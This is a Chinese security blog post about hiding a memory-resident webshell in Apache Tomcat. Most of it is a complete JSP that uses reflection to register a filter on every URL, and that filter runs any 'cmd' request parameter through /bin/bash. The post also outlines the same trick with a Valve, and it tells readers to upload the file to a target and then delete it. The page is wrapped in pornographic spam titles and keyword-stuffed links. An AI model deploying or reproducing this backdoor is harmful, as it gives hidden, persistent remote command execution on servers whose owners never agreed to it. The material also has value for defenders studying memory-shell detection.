成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Tomcat源代碼調試:看不見的Shell第一式

安全 應用安全
抱著隱藏 shell 的目的去調試的 tomcat 的代碼。我調試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉發至 Jsp/Servlet 的全過程,找到了兩個較為容易實現的方法(肯定還有其它的方法),這里記錄一其中一個。

抱著隱藏 shell 的目的去調試的 tomcat 的代碼。我調試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉發至 Jsp/Servlet 的全過程,找到了兩個較為容易實現的方法(肯定還有其它的方法),這里記錄一其中一個。另一個也很類似所以只記錄一下思路。

1. 運行時動態插入過濾器

過濾器的基礎概念以及作用這里不寫了。

Servlet 規范(應該是從3.0 開始)里面本身規定了一個名為ServletContext 的接口,其中有三個重載方法:

  1. FilterRegistration.Dynamic addFilter(String filterName,String className)  
  2. FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
  3. FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  

這三個方法使得我們可以在運行時動態地添加過濾器。

Tomcat 對 ServletContext 接口的實現類為:org.apache.catalina.core.ApplicationContextFacade

但是并沒有簡單到直接調用一下這可以實現,因為 Tomcat 在對這個接口的實現中,是只允許在容器還沒有初始化完成的時候調用這幾個方法。一旦容器初始化已經結束,調用時就會出現異常:

我看了一下這個 if 之后的語句,并不是太復雜,這使得我們完全可以自己用代碼來執行后面的邏輯。寫的過程也沒有太順利,我完全復制了后面的邏輯,但是動態插入過濾器卻沒有生效。所以去重新調試了一遍tomcat 接收處理請求的全過程,發現為請求組裝filterChain 是在 StandardWrapperValve 里面進行的:

真正的組裝方法位于:

  1. org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 

代碼太長不截圖了,有興趣的可以自己去看。

組裝完成后開始調用過濾器鏈。

我將 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法內的細節與自己寫的插入過濾器的細節做了對比,得出下面這個可以在Tomcat 8 (Tomcat 7 上的話需要小改一下)下實現我想要的目的 Jsp文件。直接看代碼吧:

  1. <%@ page language="java" contentType="text/html; charset=UTF-8" 
  2.     pageEncoding="UTF-8"%> 
  3. <%@ page import="java.io.IOException"%> 
  4. <%@ page import="javax.servlet.DispatcherType"%> 
  5. <%@ page import="javax.servlet.Filter"%> 
  6. <%@ page import="javax.servlet.FilterChain"%> 
  7. <%@ page import="javax.servlet.FilterConfig"%> 
  8. <%@ page import="javax.servlet.FilterRegistration"%> 
  9. <%@ page import="javax.servlet.ServletContext"%> 
  10. <%@ page import="javax.servlet.ServletException"%> 
  11. <%@ page import="javax.servlet.ServletRequest"%> 
  12. <%@ page import="javax.servlet.ServletResponse"%> 
  13. <%@ page import="javax.servlet.annotation.WebServlet"%> 
  14. <%@ page import="javax.servlet.http.HttpServlet"%> 
  15. <%@ page import="javax.servlet.http.HttpServletRequest"%> 
  16. <%@ page import="javax.servlet.http.HttpServletResponse"%> 
  17. <%@ page import="org.apache.catalina.core.ApplicationContext"%> 
  18. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
  19. <%@ page import="org.apache.catalina.core.StandardContext"%> 
  20. <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
  21. <%@ page import="org.apache.catalina.Context"%> 
  22. <%@ page import="java.lang.reflect.*"%> 
  23. <%@ page import="java.util.EnumSet"%> 
  24. <%@ page import="java.util.Map"%> 
  25.  
  26.  
  27. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
  28. <html> 
  29. <head> 
  30. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  31. <title>Insert title here</title> 
  32. </head> 
  33. <body> 
  34. <
  35. final String name = "n1ntyfilter"
  36.  
  37. ServletContext ctx = request.getSession().getServletContext(); 
  38. Field f = ctx.getClass().getDeclaredField("context"); 
  39. f.setAccessible(true); 
  40. ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
  41.  
  42. f = appCtx.getClass().getDeclaredField("context"); 
  43. f.setAccessible(true); 
  44. StandardContext standardCtx = (StandardContext)f.get(appCtx); 
  45.  
  46.  
  47. f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
  48. f.setAccessible(true); 
  49. Map filterConfigs = (Map)f.get(standardCtx); 
  50.  
  51. if (filterConfigs.get(name) == null) { 
  52.    out.println("inject "+ name); 
  53.     
  54.    Filter filter = new Filter() { 
  55.       @Override 
  56.       public void init(FilterConfig arg0) throws ServletException { 
  57.          // TODO Auto-generated method stub 
  58.       } 
  59.        
  60.       @Override 
  61.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
  62.             throws IOException, ServletException { 
  63.          // TODO Auto-generated method stub 
  64.          HttpServletRequest req = (HttpServletRequest)arg0; 
  65.          if (req.getParameter("cmd") != null) { 
  66.             byte[] data = new byte[1024]; 
  67.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
  68.             int len = p.getInputStream().read(data); 
  69.             p.destroy(); 
  70.             arg1.getWriter().write(new String(data, 0, len)); 
  71.             return; 
  72.          }  
  73.          arg2.doFilter(arg0, arg1); 
  74.       } 
  75.        
  76.       @Override 
  77.       public void destroy() { 
  78.          // TODO Auto-generated method stub 
  79.       } 
  80.    }; 
  81.     
  82.    FilterDef filterDef = new FilterDef(); 
  83.     filterDef.setFilterName(name); 
  84.     filterDef.setFilterClass(filter.getClass().getName()); 
  85.     filterDef.setFilter(filter); 
  86.      
  87.     standardCtx.addFilterDef(filterDef); 
  88.     
  89.    FilterMap m = new FilterMap(); 
  90.    m.setFilterName(filterDef.getFilterName()); 
  91.    m.setDispatcher(DispatcherType.REQUEST.name()); 
  92.    m.addURLPattern("/*"); 
  93.     
  94.     
  95.    standardCtx.addFilterMapBefore(m); 
  96.     
  97.     
  98.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
  99.    constructor.setAccessible(true); 
  100.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
  101.     
  102.     
  103.     filterConfigs.put(name, filterConfig); 
  104.      
  105.     out.println("injected"); 
  106. %> 
  107. </body> 
  108. </html> 

將以上 JSP 文件上傳至目標服務器命名為 n1ntyfilter.jsp,訪問后如果看到“injected” 字樣,說明我們的過濾器已經插入成功,隨后可以將此 jsp 文件刪掉。隨后,任何帶有 cmd 參數的請求都會被此過濾器攔下來,并執行 shell 命令,達到“看不見的 shell”的效果。

2. 動態插入 Valve

Valve 是 Tomcat 中的用于對Container 組件(Engine/Host/Context/Wrapper)進行擴展一種機制。通常是多個Valve組裝在一起放在Pipeline 里面。Tomcat 中 Container 類型的組件之間的上下級調用基本上都是通過pipeline 與 valve 完成的。如果你熟悉 Struts2 中的攔截器機制,那么你會很容易理解valve + pipeline 的動作方式。Pipeline 就相當于攔截器鏈,而valve就相當于攔截器。

Valve 接口定義了如下的 invoke 方法:

  1. publicvoid invoke(Request request, Response response) 
  2.     throws IOException, ServletException; 

我們只需在運行時向 Engine/Host/Context/Wrapper 這四種 Container 組件中的任意一個的pipeline 中插入一個我們自定義的 valve,在其中對相應的請求進行攔截并執行我們想要的功能,就可以達到與上面Filter 的方式一樣的效果。而且 filter 只對當前context 生效,而valve 如果插到最頂層的container 也就是 Engine,則會對 Engine 下的所有的context 生效。

以上兩種方式,利用的時候都必須是通過 HTTP 的方式去真正地發起一個請求,因為在這些流程之前,Tomcat會檢查接收自socket的前幾個字節是不是符合HTTP 協議的要求,雖然被請求的文件可以不存在。如果想利用非HTTP 協議,則需要在tomcat 的Connector 上做手腳,這個復雜度就比以上兩種方式要高很多了。

以上兩種方式都會在 Tomcat 重啟后失效。

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2020-08-17 17:31:00

戴爾

2019-09-06 16:41:50

戴爾

2011-06-30 14:29:09

決戰黃橋數字特效

2012-03-26 10:29:04

數據中心

2013-09-22 15:47:23

蘋果iPhone

2013-06-21 15:01:16

編程開發

2013-07-04 14:05:26

功能用戶體驗

2020-12-24 14:41:03

人工智能人工智能技術

2022-04-28 16:11:09

DDOS勒索安全

2015-12-11 16:53:28

intel

2023-04-28 15:30:32

數字化轉型工具

2025-01-26 11:30:55

2010-11-22 09:36:12

2016-09-06 09:45:43

華為HUAWEI CONN梯聯網

2024-05-20 11:51:47

架構重構接口

2018-07-06 09:00:00

2009-04-02 10:32:39

網絡安全隱患

2013-11-29 14:31:18

NETGEAR路由NETGEAR

2016-08-19 18:22:24

2013-03-29 10:10:00

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 9久久精品 | 亚欧性视频 | 黄色在线免费观看视频网站 | 国产亚洲精品精品国产亚洲综合 | 午夜视频在线免费观看 | 国产高清在线 | 国产精品久久国产精品99 gif | 亚洲97| 日本一区二区三区四区 | 久久久久国产精品午夜一区 | 精品一二区 | 精品久久99| 免费黄篇 | 国产精品片 | 亚洲综合日韩精品欧美综合区 | 亚洲成人高清 | 久久久久免费观看 | 成人网在线 | 男女羞羞视频在线看 | 久久免费香蕉视频 | 91日日 | 精品一区二区三区91 | 成人精品国产免费网站 | 久久精品欧美一区二区三区麻豆 | 蜜桃黄网 | 99久久久久久久久 | 亚洲综合天堂网 | 精品一区二区三区av | 久久精品视频在线免费观看 | 日韩在线视频网址 | 久久com| 色偷偷噜噜噜亚洲男人 | 国产一二区免费视频 | h片在线观看网站 | 日韩视频精品在线 | aⅴ色国产 欧美 | 日韩在线一区二区三区 | 日韩在线一区二区三区 | 综合一区| 久久久一二三 | 国产最新视频在线 |